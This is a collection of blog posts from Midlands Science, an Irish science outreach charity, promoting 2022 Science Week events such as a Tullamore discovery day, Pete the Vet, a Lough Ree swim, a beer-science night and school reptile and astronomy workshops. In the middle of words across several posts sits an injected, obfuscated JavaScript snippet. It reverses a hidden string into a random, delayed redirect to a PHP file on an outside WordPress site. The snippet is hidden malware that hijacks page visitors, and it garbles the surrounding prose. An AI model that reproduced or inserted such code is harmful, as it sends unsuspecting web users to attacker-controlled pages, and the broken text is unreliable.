The Science of Santa Claus – December 14th

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We’re making a list, we’re checking it twice, we’re going to find out all about the science of Santa Claus! Join Midlands Science on Wednesday December 14th at 7pm for some special Christmas science with superhero scientist Dr Barry Fitzgerald – Book your place now!

We all know that on Christmas Eve, Santa Claus sets out to do a huge job, delivering presents to millions of children. It’s a monumental task and it wouldn’t be possible without Santa’s top secret advancements in science and engineering. In this unique event, you’ll learn all about the incredible science of Santa’s journey. We will also explore questions such as how does the sleigh fly sustainably? How does Santa avoid flying through bad weather? Where are Santa’s workshops in the Arctic Circle? Also, what food and drinks should you leave out for Santa on Christmas Eve?

There’s so much science to explore with Christmas. Santa Claus’s bright red coat and white fur trimmings may be in honour of the white-speckled, red-capped mushroom we know so well from fairy tales. Freshly picked fly agaric contains ibotenic acid, which converts to muscimol when the mushroom is dried. This is a powerful hallucinogen, which interacts with receptors in the brain resulting in hallucinations. In the past, Shamans of the tribes that herd reindeer in Siberia and Lapland would collect the mushrooms and carefully prepare them to optimise the mind-enhancing properties – and minimise the other dangerous toxins within the mushroom (of which there are several). At that time, the shamans believed they could use the mushrooms to travel to the spirit realm in search of answers to local problems, such as a sudden outbreak of illness. The effect of the muscimol gave the impression of flying out through the chimney of the shaman’s abode and travelling to the spirit world where they could seek advice. Muscimol passes through the body relatively unchanged which means that the shaman’s urine also had potent hallucinogenic properties. Reindeer happening upon these patches of yellow snow left by the shaman might well jump and skip around in the snow, off their antlers on mind-altering drugs. Perhaps, even, as they jumped up in the air, the sun in the northern regions would be low in the sky, silhouetting them in a characteristic flying pose .

Oh and don’t forget you can track Santa using the Santa Norad tracker !! https://www.noradsanta.org/

A Successful Science Week in the Midlands!

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Science Week in the Midlands was back in person this year with the Midlands Science Festival, funded by Science Foundation Ireland. A wide range of activities took place including a family Discovery Day in Tullamore supported by Integra and attended by over 1,200 people!! Visitors to the discovery day were able to get hands on with reptiles from the National Reptile Zoo, learn all about slime with Anyone 4 Science, discover the science behind superheroes with Dr Barry Fitzgerald, take a journey through space with Martin and the Exploration Dome and learn all about Dinos down under with thanks to Dale Treadwell.


The National Museum of Ireland continued its partnership with Midlands Science and this year the school and family workshops and public event focussed on items in the national collection in Co Offaly and the Vikings in the Midlands.  Participants got the chance to get up close and personal with a wolf skill, viking hack silver and amber among many other things.

A swim in Lough Ree this year in association with Swim Ireland was also part of the activities. The swim was followed by food and drinks in the Lough Ree Inn and a talk by author of the acclaimed book “Blue Spaces” Dr Catherine Kelly.

Other events included exploring the science of golf in Athlone Golf Club, the science of stress and resilience with psychologist Dr Andrew Magee, the science of cats and dogs with Pete the Vet and a unique hands-on event looking at the science of sustainable living. Every participant at this event got to make a shampoo bar, a wax wrap and seed bomb to take home with them.

An event looking at the science of cosmetics, Beauty and the Chemistry Beasts, took place in Mullingar in association with the Royal Society of Chemistry. This was filmed and will be circulated online and to schools later next week.

Brian Gibson from Forensic Science Ireland and Dr Craig Slattery from UCD took part in ‘The Usual Suspects – An Evening of Crime Science’ in Portlaoise looking at the role that science has in solving crime.

Participants in the festival also looked up to the night’s sky to ponder the wonders of the universe in Lough Boora Parklands with Midlands Astronomy Club. Dead Centre Brewing was the location for ‘Hop to It’, a unique event looking at the science of beer with Prof John Morrisey, a fermentation expert from UCC.

A wide range of activities also took place in schools across the region during the week with Dr Barry Fitzgerald, Dale Treadwell and the team from Anyone4Science, to name just a few. Students in both primary and secondary schools got to explore the science of flight, Superhero Science, hands on experiments and some got to take a journey through our solar system in the exploration dome.

Online activities included a series of videos looking at the science of climate action, including a programme that Midlands Science undertook with youth club participants from the Monsignor McCarthy Complex in Athlone. Those interested in car racing were also part of the festival with an online event with driver Paul O’Connell taking apart what it takes to be a Formula 1 Driver and this event included the opportunity to win a family day in the pit with him and his team on a race day in Mondello Park. Book clubs across the region were also encouraged to take part in Science Week by reading a popular science book from a list curated by Midlands Science.

Midlands Science runs science outreach all year around to schools through its outreach programme and also runs a number of special projects such as Quiet Science, Innovate for Climate Action and Everyday Science. It reaches an average of 16,000 people per year and is supported by the Ireland Funds Private Donor Network, the Medtronic Foundation and a variety of private, public and philanthropic funders for different projects and activities.

Ironman and T-Rex for Tullamore Discovery Day

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The annual Midlands Science Festival takes place next week and one of the most popular events on the festival calendar is ‘The Discovery Day’ which occurs this Saturday (November 12th) at the Sacred Heart School, Tullamore from 10am to 3pm. The Discovery Day, in association with Integra, offers a chance for children to experience everything from dinosaurs to Ironman in one location!

Suitable for ages five and up the day offers the chance for participants to meet reptiles up close and personal, learn about the science of Spiderman, stare up at the night’s sky in Ireland’s largest mobile planetarium, $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do hands on science with Anyone 4 Science and learn about dinosaurs with Dale Treadwell.

“We are encouraging parents to get their children involved in the numerous events over the week. The younger generation are the future and science is an important part of a shared better future – helping us to understand our world, inspiring new opportunities, and providing potential solutions. The discovery day has always proven a highlight of our festival” commented Jackie Gorman, CEO Midlands Science.

“Integra is delighted to support the Discovery Day for the Midlands Science Festival this year. Getting young people engaged with science from a young age develops the curiosity and sense of discovery that is at the heart of science. Today’s young people who enjoy fun activities such as those on offer in Tullamore at the Discovery Day are the scientific pioneers of tomorrow and we are delighted to be able to encourage them” Integra’s John O’Donovan explained.

Booking for all events is now open and all details are available here. The Midlands Science Festival is supported by Science Foundation Ireland, as part of national Science Week.

Athlone will be hive of activity during Science Week

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After two years of online delivery, the Midlands Science Festival returns this year all across the midlands, with a range of activities for all age groups. Running from November 13th to November 20th, highlights of the Midlands Science Festival include a presentation exploring the science of resilience with psychologist Dr Andrew Magee in the Radisson Blu Hotel Athlone, a swim in Lough Ree and an adrenaline inducing insight into Formula One Racing.

Dr Andrew Magee is no stranger to the Midlands Science Festival. His virtual lecture in 2020 proved to be one of the most popular online events in the festival that year. In just a few hours his presentation was viewed by 7,500 individuals!! His online lecture offered practical, wise and compassionate advice on managing stress and resilience, all based on science from the field of psychology.

Midlands Science is now delighted to offer the opportunity to attend an in-person event with Dr Magee where he will, with Dr Craig Slattery of UCD, explore what science tells us about stress and resilience. He will provide some advice and tips, based on science, on how to better manage stress and build our own resilience.

“As a society, we have shown our resilience and ability to withstand adversity, bouncing back from difficult challenges we face in our daily lives, particularly so over the past few years.” commented Jackie Gorman, CEO Midlands Science. “The theme of this year’s Science Week is infinite possibilities, and we have a wide variety of activities for all ages. We are encouraging parents to get their children involved in the numerous events over the week. The younger generation are the future and science is an important part of a shared better future – helping us to understand our world, inspiring new opportunities, and providing potential solutions” Stressed Jackie Gorman, CEO Midlands Science.

For the more energetic types, you are welcome to join Midlands Science for a Swim Ireland supervised dip and swim at Lough Ree, Coosan Point, Athlone. Following your dip or swim [no pressure, it’s up to you how far you want to go], hot food and refreshments will be served in the Lough Ree Inn and an interview will take place with Catherine Kelly, author of “Blue Spaces”, the best-selling book which explores why we love swimming and water so much.

Midlands Science will be exploring the science of golf with Dr Eoghan O’Neill, a sports psychologist who specialises in golf.  This event takes place in Athlone Golf Club on Monday the 14th of November. Those looking for something more exciting can join Midlands Science for a unique online event with Dr Barry Fitzgerald exploring the science of Formula One racing!

There’s also plenty more on offer including an astronomy night in Lough Boora Parklands, an event exploring the science of beer at Dead Centre brewing and an online event with Diabetes Ireland. The Midlands Science Festival is supported by Science Foundation Ireland, through the Discover Programme. Midlands Science is supported by the Ireland Funds, the Naughton Foundation, the Medtronic Foundation and a range of other corporate and philanthropic supporters. Booking for all events is now open and all details available here.

 

Pete the Vet and so much more in Offaly this Science Week

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After two years of online delivery due to the impact of Covid 19, the Midlands Science Festival is back this year all across the midlands, with a range of activities for all age groups. Running from November 12th to November 20th, the Midlands Science Festival is back in person with a bang! Highlights include an evening In Tullamore with dogs-with-pete-the-vet-nov2022/” target=”_blank” rel=”noopener”>Ireland’s favourite vet, Pete the Vet, a Discovery Day featuring dinosaurs and an astronomy night in Lough Boora Parklands.

Known to lots of people from national TV and radio, where he regularly answers queries on everything from hamsters to snakes, Pete the Vet explores the science of cats and $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dogs in a unique event supported by Zoetis. How much $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do we really know about these furry friends who share our homes and how can science help us understand them more and care for them in a way that keeps them healthy? Come along to meet Pete and learn a lot more about your furry friends.

The Midlands Science Discovery Day is one of the most popular events of the Midlands Science Festival and is open to everyone. This year’s event in association with Integra, held in the Sacred Heart School, Tullamore, offers a chance to experience everything from dinosaurs to Ironman in one location. Suitable for age 5 and up, the day offers the chance for participants to meet reptiles up close and personal, learn about the science of Spiderman, stare up at the night’s sky in Ireland’s largest mobile planetarium, $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do hands on science with Anyone 4 Science and learn about dinosaurs with Dale Treadwell.

“The theme of this year’s Science Week is infinite possibilities, and we have a wide variety of activities for all ages. We are encouraging parents to get their children involved in the numerous events over the week. The younger generation are the future and science is an important part of a shared better future – helping us to understand our world, inspiring new opportunities, and providing potential solutions” stressed Jackie Gorman, CEO Midlands Science.

Midlands Science continues its partnership with the National Museum of Ireland and this year the focus is on county Offaly. Workshops will be delivered to schools in Tullamore, followed by an event for families and an event for the general public in the Offaly History Centre in Tullamore.

The Midlands Science Festival is supported by Science Foundation Ireland, through the Discover Programme. Midlands Science is supported by the Ireland Funds, the Naughton Foundation, the Medtronic Foundation and a range of other corporate and philanthropic supporters. Booking for events is open now and all details are available here. The Midlands Science Festival is supported by Science Foundation Ireland, as part of national Science Week.

Swimming…Here’s the Science

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We’ve all grown to love swimming over the last few years, with a huge growth in those swimming all year-round out $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}doors. But have you ever considered how much science there is in swimming? This year’s Midlands Science Festival includes an event exploring the science of swimming and a cold-water swim in Lough Ree, full event details and booking link here.

So…let’s dive into some swimming science!

Humans evolved from sea creatures and yet we couldn’t be less suited to moving in water if we tried. We can’t breathe long under water, we $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}don’t float very well and we get tired as we swim. One main thing to understand for the science of swimming is that air and water are different – a gas and a liquid. Water is denser and more viscous. This makes a difference to how we move as the main thing we have to $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do on land is work against gravity but in water, buoyancy cancels this out. So the main issue is drag – water resistance.

Newton’s Third Law is also vital to swimming. It says if you apply force to an object, the object applies an equal force to you in the opposite direction – this is action and reaction. It helps us make sense of the water. If you kick backwards against the wall of the pool, you will go forward in the water. If you want to swim forward through water, you have to pull the water back with your hands. If you want to make your body stay up, you need to kick $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}down with your legs. It’s all science!

Whether you are a dedicated dipper or a super-enthusiastic open water swimmer, you are welcome to join Midlands Science for a Swim Ireland supervised dip/swim at Lough Ree, Coosan Point, Athlone. Following your dip or swim [no pressure, it’s up to you how far you want to go], hot food and refreshments will be served in the Lough Ree Inn and an interview will take place with Catherine Kelly, author of “Blue Spaces”, the best selling book which explores why we love swimming and water so much. So come along to Coosan Point on Sunday November 13th and dive into the Science of Swimming!

Hop to It – The Science of Beer!

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The Midlands Science Festival is delighted to present a unique event for adult attendees this year exploring the science of brewing and beer. This event will take place in Dead Centre Brewing in Athlone (see images below). People have been brewing beer for thousands of years. Beer became a staple in the Middle Ages, when people began to live in cities where close quarters and poor sanitation made clean water difficult to obtain. The alcohol in beer made it safer to drink than water. Thankfully times have changed since then!

The evening will explore the complex biochemistry that makes a perfect pint and also the history of brewing. A complex series of biochemical reactions must take place to convert barley to fermentable sugars, and to allow yeast to live and multiply, converting those sugars to alcohol. Commercial breweries have to ensure every beer tastes the same, so they have very detailed processes and complicated equipment. Homebrewers $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}don’t usually worry about this as much and so it’s likely that they rarely make the same beer twice.

Come along to the unique venue of Dead Centre Brewing and hear all about the science of beer and brewing – hop to it!

For full details and booking, click here!

 

Dead Centre Brewing Athlone - Beer Cans Dead Centre Brewing Athlone - Building Lobby Dead Centre Brewing Athlone - Pulling a Pint Dead Centre Brewing Athlone - Venue

 

 

 

Science Week is Coming!!

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Science Week is coming, and we are getting ready!! This year, we are delighted to be back in person and look forward to seeing you all again. We have a huge range of activities for all age groups. We will be kicking off with our Discovery Day in association with Integra in Sacred Heart Secondary School, Tullamore on November 12th. This family friendly event will include dinosaurs, superhero science, chemistry experiments and much more. The week will include workshops for primary and secondary schools and a range of activities for all age groups. These include an event exploring the science of pets with Pete the Vet, in association with Zoetis. Have a question about your furry friend, come along and ask Ireland’s most popular vet a question!

We have a great event for a Friday night in Dead Centre Brewing in Athlone, exploring the science of beer and brewing. Feel like a swim in November? Join us at Lough Ree on Sunday November 13th, for a swim with Swim Ireland and a talk on the science of swimming with some hot refreshments after your swim. Dr Andrew Magee will be talking about the science of resilience and Brian Gibson of Forensic Science Ireland will be talking about the science of solving crime. There is literally something for every age group!! Our online event exploring the science of F1 Racing includes the chance to win a day in the pit with a race team at Mondello Park. Ans there’s much more to come, so keep an eye on our site for updates and register as soon as you can. All events are free of charge, the Midlands Science Festival is supported by Science Foundation Ireland, through the Discover Programme.

For full Science Week event details and booking information, click here!

Science That Slithers

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This month, Midlands Science is running a series of workshops with our partners, the Reptile Zoo, in schools in Laois, as part of our free school outreach programme, which is supported by Rethink Ireland and partners such as SAP and Arup. These workshops allow students to experience the wonders of the natural world from their classroom and hopefully begin a lifetime of curiosity about the world around us and what we can $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do to preserve biodiversity.

The Reptile Zoo provides the opportunity to see snakes and other reptiles up close and personal! All while learning about their ecology, conservation and biodiversity. There are more than 3,000 species of snake in the world and almost all snakes are covered in scales. As reptiles, they are cold blooded and they need to regulate their temperature externally. Every month or so snakes shed their skin. This process is called ecdysis and it gets rid of parasites, as well as making room for growth.

Approximately 100 snake species are listed by the IUCN Red List as endangered and this is typically due to habitat loss. If you are slightly nervous reading this blog, you’re probably an ophidiophobe – someone who is afraid of snakes. You’re in good company, remember the infamous Indiana Jone scene where he shown his torch on a floor of snakes and yelled “why is it always snakes?” If you are afraid of snakes, it’s probably for a mixture of reasons – a negative experience, portrayal of snakes in the media, hearing about negative experiences of someone else.

It’s a very common phobia and if you want to overcome it, it is possible. Jackie who works with us, worked for a number of years in West Africa in development and on a camping trip one night, she woke up with a snake crawling up her body. She lay very still and it crawled away after about 10 long minutes. Two weeks later, she was driving along a dusty road and a cobra jumped up in front of her jeep from about 10 feet away. She stopped and it realised the jeep was too big to eat and continued on its journey. You’d think after all this, she’d be a confirmed ophidiophobe but not at all, she’s first up for a photo with the albino python from the Reptile Zoo whenever the opportunity arises !

You can learn all about the Reptile Zoo on https://www.nationalreptilezoo.ie/ and lots more about reptiles on https://kids.nationalgeographic.com/animals/reptiles

Look Up For Science!!

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This month and next, Midlands Science is running a series of workshops with our partners, the Exploration Dome, in schools in Laois and Longford, as part of our free school outreach programme, which is supported by Rethink Ireland and partners such as SAP and Arup. These workshops allow students to experience the wonders of the universe from their classroom and hopefully begin a lifetime of curiosity about our place in the universe.

Astronomy is one of the oldest natural sciences as early civilisations in history made very methodical observations of the night’s sky. These included the Chinese, Maya, Babylonians and many more including the Irish. You can check out our video exploring space as Gaeilge here.

Astronomy comes from a Greek word which means the science that studies the laws of the stars. Astronomy includes maths, physics and chemistry and it studies everything that originates beyond the earth’s atmosphere. Astronomy is one of the sciences in which amateurs play an active role, particularly with regards to the discovery and observation of transient events such as comets and asteroids. Astronomy clubs are located throughout the world and the Midlands has a very active Astronomy Club. You can find more details about them on Facebook.

One branch of amateur astronomy, astrophotography, involves the taking of photos of the night sky. Many amateurs like to specialize in the observation of particular objects, types of objects, or types of events that interest them. A famous Astro-photographer is Dr Brian May, better known as the amazing guitarist with Queen. He was working on his Phd on zodiacal dust when his music career took off and he went back to Imperial College, Lon $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}don to finish is Phd over 30 years and many hit records later!! As well as writing up the previous research work he had $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}done, May had to review the work on zodiacal dust undertaken during the intervening 33 years, which included the discovery of the zodiacal dust bands by NASA. After a viva voce, the revised thesis (titled “A Survey of Radial Velocities in the Zodiacal Dust Cloud”) was approved in September 2007, some 37 years after it had been commenced. His Instagram account regularly features his astronomy observations and photos taken using his very large telescope at his home in the UK.

Although, we know more now that we ever have about the universe, there’s still a lot of unsolved questions in astronomy and perhaps some budding Astro-physicists in the midlands may solve these questions in the future ! Answers to these may require the construction of new ground and space-based instruments, and possibly new developments in theoretical and experimental physics. What is the nature of dark matter and dark energy? How did the first galaxies form? What really happens beyond the event horizon? Is there other life in the Universe?

Lots of interesting discoveries about astronomy have been made in the midlands at Birr Castle Demense, which today hosts a LOFAR telescope. You can learn more about Birr Castle’s heritage in astronomy on birrcastle.com. The gardens now include a solar trail which allows you to experience the size, distance and scale of the Solar System along the 2km route. The Demense is also home to I-Lofar, the Irish station of a European-wide network of state-of-the-art radio telescopes, used to observe the Universe at low frequencies.

Astronomy continues today to provide us with more and more information about the universe and our place in it. Innovation in space exploration has given us everything from foil blankets, scratch resistant glasses, memory form to fire-proof clothes. So look up and appreciate all astronomy has given us. As Stephen Hawking said “to confine our attention to terrestrial matters would be to limit the human spirit.”